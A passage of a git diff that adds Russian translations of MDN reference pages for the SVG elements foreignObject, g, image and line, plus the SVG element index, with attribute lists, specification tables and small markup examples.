+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/en-US/docs/Web/SVG/Tutorial/Filter_effects">SVG tutorial: Filter effects</a></li>
+</ul>
diff --git a/files/ru/web/svg/элемент/foreignobject/index.html b/files/ru/web/svg/элемент/foreignobject/index.html
new file mode 100644
index 0000000000..64e32d019f
--- /dev/null
+++ b/files/ru/web/svg/элемент/foreignobject/index.html
@@ -0,0 +1,119 @@
+---
+title: <foreignObject>
+slug: Web/SVG/Элемент/foreignObject
+translation_of: Web/SVG/Element/foreignObject
+---
+<div>{{SVGRef}}<br>
+Элемент <strong><code>&lt;foreignObject&gt;</code></strong> <a href="/en-US/docs/Web/SVG">SVG</a> позволяет включать другое пространство имен XML.<br>
+В контексте браузера это, скорее всего, XHTML / HTML.</div>
+
+<div id="Exemple">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html; highlight[16,27]">&lt;svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;style&gt;
+    polygon { fill: black }
+
+    div {
+      color: white;
+      font:18px serif;
+      height: 100%;
+      overflow: auto;
+    }
+  &lt;/style&gt;
+
+  &lt;polygon points="5,5 195,10 185,185 10,195" /&gt;
+
+  &lt;!-- Типичный пример использования: встраивание HTML-текста в SVG --&gt;
+  &lt;foreignObject x="20" y="20" width="160" height="160"&gt;
+  &lt;!--
+В контексте SVG, внедренного в HTML, пространство имен XHTML может и следует избегать,
+но это обязательно в контексте документа SVG
+   --&gt;
+    &lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;
+    <em>- Смолчал хозяин, да и то, что мог сказать
+    - Мне невдомёк, но во владениях чертога
+    Поможет дом срубить да судьбы вам связать.
+    Не веришь ежли - испроси у Бога...</em>
+    &lt;/div&gt;
+  &lt;/foreignObject&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Exemple', 150, '100%')}}</p>
+</div>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<dl>
+ <dt>{{SVGAttr("height")}}</dt>
+ <dd>Этот атрибут определяет высоту прямоугольника.<br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>auto</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("width")}}</dt>
+ <dd>Этот атрибут определяет ширину прямоугольника.<br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>auto</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("x")}}</dt>
+ <dd>Этот атрибут определяет координату x контейнера svg.<br>
+ Это не влияет на внешние элементы SVG.<br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>0</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("y")}}</dt>
+ <dd>Этот атрибут определяет координату Y контейнера SVG.<br>
+ Это не влияет на внешние элементы SVG.<br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>0</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> Starting with SVG2 <code>x</code>, <code>y</code>, <code>width</code>, and <code>height</code> are <em>Geometry Propertie</em>s, meaning those attributes can also be used as CSS properties for that element.</p>
+</div>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<dl>
+ <dt><a href="/docs/Web/SVG/Attribute/Core">Core Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('id')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Styling">Styling Attributes</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Conditional_Processing">Conditional Processing Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Event Attributes</dt>
+ <dd><small><a href="/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Global event attributes</a>, <a href="/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Graphical event attributes</a>, <a href="/docs/Web/SVG/Attribute/Events#Document_Event_Attributes">Document event attributes</a>, <a href="/docs/Web/SVG/Attribute/Events#Document_Element_Event_Attributes">Document element event attributes</a></small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Presentation">Presentation Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>Aria Attributes</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'embedded.html#ForeignObjectElement', '&lt;foreignObject&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'extend.html#ForeignObjectElement', '&lt;foreignObject&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+
+
+<p>{{Compat("svg.elements.foreignObject")}}</p>
diff --git a/files/ru/web/svg/элемент/g/index.html b/files/ru/web/svg/элемент/g/index.html
new file mode 100644
index 0000000000..c425f3c5b8
--- /dev/null
+++ b/files/ru/web/svg/элемент/g/index.html
@@ -0,0 +1,98 @@
+---
+title: <g>
+slug: Web/SVG/Элемент/g
+tags:
+  - NeedsUpdate
+  - SVG
+translation_of: Web/SVG/Element/g
+---
+<div>{{SVGRef}}</div>
+
+<p><span class="seoSummary">Элемент g используется для группировки других SVG элементов.</span> Любые преобразования применяемые к g элементу наследуются его дочерними элементами. Также g используется для группировки различных элементов, чтобы позднее можно было сослаться на них с помощью {{SVGElement("use")}}.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html notranslate">&lt;svg viewBox="0 0 95 50"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+   &lt;g stroke="green" fill="white" stroke-width="5"&gt;
+     &lt;circle cx="25" cy="25" r="15"/&gt;
+     &lt;circle cx="40" cy="25" r="15"/&gt;
+     &lt;circle cx="55" cy="25" r="15"/&gt;
+     &lt;circle cx="70" cy="25" r="15"/&gt;
+   &lt;/g&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Example",220,130)}}</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<ul>
+ <li><a href="/en-US/docs/SVG/Attribute#ConditionalProccessing">Conditional processing attributes</a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#Core">Core attributes</a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#GraphicalEvent">Graphical event attributes</a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#Presentation">Presentation attributes</a> »</li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+ <li>{{SVGAttr("transform")}}</li>
+</ul>
+
+<h3 id="Специфичные_атрибуты">Специфичные атрибуты</h3>
+
+<p><em>Нет специфичных атрибутов.</em></p>
+
+<h2 id="Интерфейс_DOM">Интерфейс DOM</h2>
+
+<p>Этот элемент реализует  <code><a href="/en-US/docs/DOM/SVGGElement">SVGGElement</a></code> интерейс.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'struct.html#GElement', '&lt;g&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'struct.html#Groups', '&lt;g&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("svg.elements.g")}}</p>
+
+
+
+<h2 id="Смотрите_также">Смотрите также:</h2>
+
+
+
+<ul>
+ <li>{{SVGElement("use")}}</li>
+ <li>{{SVGElement("defs")}}</li>
+ <li>{{SVGElement("symbol")}}</li>
+ <li><a href="http://tutorials.jenkov.com/svg/g-element.html">SVG элемент g</a></li>
+</ul>
diff --git a/files/ru/web/svg/элемент/image/index.html b/files/ru/web/svg/элемент/image/index.html
new file mode 100644
index 0000000000..e417a4ac65
--- /dev/null
+++ b/files/ru/web/svg/элемент/image/index.html
@@ -0,0 +1,94 @@
+---
+title: <image>
+slug: Web/SVG/Элемент/image
+tags:
+  - NeedsUpdate
+  - SVG
+translation_of: Web/SVG/Element/image
+---
+<div>{{SVGRef}}</div>
+
+<p>Элемент &lt;image&gt; позволяет включить растровые изображения в SVG документ.</p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#ConditionalProccessing">Conditional processing attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core">Core attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#GraphicalEvent">Graphical event attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#XLink">Xlink attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Presentation">Presentation attributes</a> »</li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+ <li>{{SVGAttr("transform")}}</li>
+</ul>
+
+<h3 id="Специфичные_атрибуты">Специфичные атрибуты</h3>
+
+<ul>
+ <li>{{SVGAttr("x")}}</li>
+ <li>{{SVGAttr("y")}}</li>
+ <li>{{SVGAttr("width")}}</li>
+ <li>{{SVGAttr("height")}}</li>
+ <li>{{SVGAttr("xlink:href")}}</li>
+ <li>{{SVGAttr("preserveAspectRatio")}}</li>
+</ul>
+
+<h2 id="DOM_Interface">DOM Interface</h2>
+
+<p>This element implements the <code><a href="/en-US/docs/Web/API/SVGImageElement">SVGImageElement</a></code> interface.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Базовый рендеринг PNG изображения в качестве объекта SVG:</p>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html notranslate">&lt;svg width="200" height="200"
+  xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;image href="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" height="200" width="200"/&gt;
+&lt;/svg&gt;
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Пример", 250, 260)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'embedded.html#ImageElement', '&lt;image&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'struct.html#ImageElement', '&lt;image&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("svg.elements.image")}}</p>
diff --git a/files/ru/web/svg/элемент/index.html b/files/ru/web/svg/элемент/index.html
new file mode 100644
index 0000000000..b65942e344
--- /dev/null
+++ b/files/ru/web/svg/элемент/index.html
@@ -0,0 +1,253 @@
+---
+title: Справочник SVG элементов
+slug: Web/SVG/Элемент
+tags:
+  - SVG
+  - SVG Reference
+  - Руководство
+translation_of: Web/SVG/Element
+---
+<p>« <a href="/ru/docs/Web/SVG" title="SVG">SVG</a> / <a href="/ru/docs/Web/SVG/Attribute" title="SVG/Attribute">Справочник SVG атрибутов</a> »</p>
+
+<h2 id="SVG_элементы">SVG элементы</h2>
+
+<div class="index"><span id="A">A</span>
+
+<ul>
+ <li>{{SVGElement("a")}}</li>
+ <li>{{SVGElement("altGlyph")}}</li>
+ <li>{{SVGElement("altGlyphDef")}}</li>
+ <li>{{SVGElement("altGlyphItem")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("animateColor")}}</li>
+ <li>{{SVGElement("animateMotion")}}</li>
+ <li>{{SVGElement("animateTransform")}}</li>
+</ul>
+<span id="C">B C</span>
+
+<ul>
+ <li>{{SVGElement("circle")}}</li>
+ <li>{{SVGElement("clipPath")}}</li>
+ <li>{{SVGElement("color-profile")}}</li>
+ <li>{{SVGElement("cursor")}}</li>
+</ul>
+<span id="D">D</span>
+
+<ul>
+ <li>{{SVGElement("defs")}}</li>
+ <li>{{SVGElement("desc")}}</li>
+ <li>{{SVGElement("discard")}}</li>
+</ul>
+<span id="E">E</span>
+
+<ul>
+ <li>{{SVGElement("ellipse")}}</li>
+</ul>
+<span id="F">F</span>
+
+<ul>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feDistantLight")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feFuncA")}}</li>
+ <li>{{SVGElement("feFuncB")}}</li>
+ <li>{{SVGElement("feFuncG")}}</li>
+ <li>{{SVGElement("feFuncR")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMergeNode")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("fePointLight")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feSpotLight")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("font")}}</li>
+ <li>{{SVGElement("font-face")}}</li>
+ <li>{{SVGElement("font-face-format")}}</li>
+ <li>{{SVGElement("font-face-name")}}</li>
+ <li>{{SVGElement("font-face-src")}}</li>
+ <li>{{SVGElement("font-face-uri")}}</li>
+ <li>{{SVGElement("foreignObject")}}</li>
+</ul>
+<span id="G">G</span>
+
+<ul>
+ <li>{{SVGElement("g")}}</li>
+ <li>{{SVGElement("glyph")}}</li>
+ <li>{{SVGElement("glyphRef")}}</li>
+</ul>
+<span id="H">H</span>
+
+<ul>
+ <li>{{SVGElement("hatch")}}</li>
+ <li>{{SVGElement("hatchpath")}}</li>
+ <li>{{SVGElement("hkern")}}</li>
+</ul>
+<span id="I">I</span>
+
+<ul>
+ <li>{{SVGElement("image")}}</li>
+</ul>
+<span id="L">J K L</span>
+
+<ul>
+ <li>{{SVGElement("line")}}</li>
+ <li>{{SVGElement("linearGradient")}}</li>
+</ul>
+<span id="M">M</span>
+
+<ul>
+ <li>{{SVGElement("marker")}}</li>
+ <li>{{SVGElement("mask")}}</li>
+ <li>{{SVGElement("mesh")}}</li>
+ <li>{{SVGElement("meshgradient")}}</li>
+ <li>{{SVGElement("meshpatch")}}</li>
+ <li>{{SVGElement("meshrow")}}</li>
+ <li>{{SVGElement("metadata")}}</li>
+ <li>{{SVGElement("missing-glyph")}}</li>
+ <li>{{SVGElement("mpath")}}</li>
+</ul>
+<span id="P">N O P</span>
+
+<ul>
+ <li>{{SVGElement("path")}}</li>
+ <li>{{SVGElement("pattern")}}</li>
+ <li>{{SVGElement("polygon")}}</li>
+ <li>{{SVGElement("polyline")}}</li>
+</ul>
+<span id="R">Q R</span>
+
+<ul>
+ <li>{{SVGElement("radialGradient")}}</li>
+ <li>{{SVGElement("rect")}}</li>
+</ul>
+<span id="S">S</span>
+
+<ul>
+ <li>{{SVGElement("script")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("solidcolor")}}</li>
+ <li>{{SVGElement("stop")}}</li>
+ <li>{{SVGElement("style")}}</li>
+ <li>{{SVGElement("svg")}}</li>
+ <li>{{SVGElement("switch")}}</li>
+ <li>{{SVGElement("symbol")}}</li>
+</ul>
+<span id="T">T</span>
+
+<ul>
+ <li>{{SVGElement("text")}}</li>
+ <li>{{SVGElement("textPath")}}</li>
+ <li>{{SVGElement("title")}}</li>
+ <li>{{SVGElement("tref")}}</li>
+ <li>{{SVGElement("tspan")}}</li>
+</ul>
+<span id="U">U</span>
+
+<ul>
+ <li>{{SVGElement("unknown")}}</li>
+ <li>{{SVGElement("use")}}</li>
+</ul>
+<span id="V">V — Z</span>
+
+<ul>
+ <li>{{SVGElement("view")}}</li>
+ <li>{{SVGElement("vkern")}}</li>
+</ul>
+</div>
+
+<h2 id="Элементы_SVG_по_категориям">Элементы SVG по категориям</h2>
+
+<h3 id="Элементы_анимации">Элементы анимации</h3>
+
+<p>{{SVGElement("animate")}}, {{SVGElement("animateColor")}}, {{SVGElement("animateMotion")}}, {{SVGElement("animateTransform")}}, {{SVGElement("discard")}}, {{SVGElement("mpath")}}, {{SVGElement("set")}}</p>
+
+<h3 id="Базовые_фигуры">Базовые фигуры</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p>
+
+<h3 id="Контейнеры">Контейнеры</h3>
+
+<p>{{SVGElement("a")}}, {{SVGElement("defs")}}, {{SVGElement("glyph")}}, {{SVGElement("g")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("missing-glyph")}}, {{SVGElement("pattern")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}, {{SVGElement("unknown")}}</p>
+
+<h3 id="Элементы_описания">Элементы описания</h3>
+
+<p>{{SVGElement("desc")}}, {{SVGElement("metadata")}}, {{SVGElement("title")}}</p>
+
+<h3 id="Фильтры">Фильтры</h3>
+
+<p>{{SVGElement("feBlend")}}, {{SVGElement("feColorMatrix")}}, {{SVGElement("feComponentTransfer")}}, {{SVGElement("feComposite")}}, {{SVGElement("feConvolveMatrix")}}, {{SVGElement("feDiffuseLighting")}}, {{SVGElement("feDisplacementMap")}}, {{SVGElement("feDropShadow")}}, {{SVGElement("feFlood")}},{{SVGElement("feFuncA")}}, {{SVGElement("feFuncB")}}, {{SVGElement("feFuncG")}}, {{SVGElement("feFuncR")}},{{SVGElement("feGaussianBlur")}}, {{SVGElement("feImage")}}, {{SVGElement("feMerge")}}, {{SVGElement("feMergeNode")}}, {{SVGElement("feMorphology")}}, {{SVGElement("feOffset")}}, {{SVGElement("feSpecularLighting")}}, {{SVGElement("feTile")}}, {{SVGElement("feTurbulence")}}</p>
+
+<h3 id="Элементы_шрифта">Элементы шрифта</h3>
+
+<p>{{SVGElement("font")}}, {{SVGElement("font-face")}}, {{SVGElement("font-face-format")}}, {{SVGElement("font-face-name")}}, {{SVGElement("font-face-src")}}, {{SVGElement("font-face-uri")}}, {{SVGElement("hkern")}}, {{SVGElement("vkern")}}</p>
+
+<h3 id="Градиентные_элементы">Градиентные элементы</h3>
+
+<p>{{SVGElement("linearGradient")}}, {{SVGElement("meshgradient")}}, {{SVGElement("radialGradient")}}, {{SVGElement("stop")}}</p>
+
+<h3 id="Графические_элементы">Графические элементы</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("text")}}, {{SVGElement("use")}} </p>
+
+<h3 id="Элементы_ссылки_на_графику">Элементы ссылки на графику</h3>
+
+<p>{{SVGElement("mesh")}}, {{SVGElement("use")}}</p>
+
+<h3 id="Источники_света">Источники света</h3>
+
+<p>{{SVGElement("feDistantLight")}}, {{SVGElement("fePointLight")}}, {{SVGElement("feSpotLight")}} </p>
+
+<h3 id="Непрозрачные_элементы">Непрозрачные элементы</h3>
+
+<p>{{SVGElement("clipPath")}}, {{SVGElement("defs")}}, {{SVGElement("hatch")}}, {{SVGElement("linearGradient")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("meshgradient")}}, {{SVGElement("metadata")}}, {{SVGElement("pattern")}}, {{SVGElement("radialGradient")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("symbol")}}, {{SVGElement("title")}} </p>
+
+<h3 id="Элементы_сервера_печати">Элементы сервера печати</h3>
+
+<p>{{SVGElement("hatch")}}, {{SVGElement("linearGradient")}}, {{SVGElement("meshgradient")}}, {{SVGElement("pattern")}}, {{SVGElement("radialGradient")}}, {{SVGElement("solidcolor")}} </p>
+
+<h3 id="Отличительные_элементы">Отличительные элементы</h3>
+
+<p>{{SVGElement("a")}}, {{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("foreignObject")}}, {{SVGElement("g")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}, {{SVGElement("text")}}, {{SVGElement("textPath")}}, {{SVGElement("tspan")}}, {{SVGElement("unknown")}}, {{SVGElement("use")}} </p>
+
+<h3 id="Элементы_формы">Элементы формы</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p>
+
+<h3 id="Структурные_элементы">Структурные элементы</h3>
+
+<p>{{SVGElement("defs")}}, {{SVGElement("g")}}, {{SVGElement("svg")}}, {{SVGElement("symbol")}}, {{SVGElement("use")}}</p>
+
+<h3 id="Элементы_текстового_контента">Элементы текстового контента</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("altGlyphDef")}}, {{SVGElement("altGlyphItem")}}, {{SVGElement("glyph")}}, {{SVGElement("glyphRef")}}, {{SVGElement("textPath")}}, {{SVGElement("text")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p>
+
+<h3 id="Текстовые_контентные_дочерние_элементы">Текстовые контентные дочерние элементы</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("textPath")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p>
+
+<h3 id="Некатегоризированные_элементы">Некатегоризированные элементы</h3>
+
+<p>{{SVGElement("clipPath")}}, {{SVGElement("color-profile")}}, {{SVGElement("cursor")}}, {{SVGElement("filter")}}, {{SVGElement("foreignObject")}}, {{SVGElement("hatchpath")}}, {{SVGElement("meshpatch")}}, {{SVGElement("meshrow")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("view")}} </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute">Ссылка на атрибут SVG</a> </li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial">Учебник SVG</a> </li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model#SVG_interfaces">Ссылка на интерфейс SVG</a> </li>
+</ul>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/ru/web/svg/элемент/line/index.html b/files/ru/web/svg/элемент/line/index.html
new file mode 100644
index 0000000000..b7f75c6a96
--- /dev/null
+++ b/files/ru/web/svg/элемент/line/index.html
@@ -0,0 +1,104 @@
+---
+title: <line>
+slug: Web/SVG/Элемент/line
+tags:
+  - SVG
+translation_of: Web/SVG/Element/line
+---
+<div> {{SVGRef}}</div>
+
+<p>Элемент <strong><code>&lt;line&gt;</code></strong> одна из базовых фигур SVG, используемая для создания линии, связывающей две точки.</p>
+
+<div id="Example">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;line x1="0" y1="80" x2="100" y2="20" stroke="black" /&gt;
+
+  &lt;!-- Если вы не укажете цвет контура,
+       линия не будет видна --&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Example', 100, 100)}}</p>
+</div>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<dl>
+ <dt>{{SVGAttr('x1')}}</dt>
+ <dd>Определяет координату начальной точки линии по оси x .<br>
+ <small><em>Тип значения:</em> <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Number"><strong>&lt;number&gt;</strong></a> ; <em>Значение по умолчанию</em>: <code>0</code>; А<em>нимируемый</em>: <strong>да</strong></small></dd>
+ <dt>{{SVGAttr('x2')}}</dt>
+ <dd>Определяет координату конечной точки линии по оси x.<br>
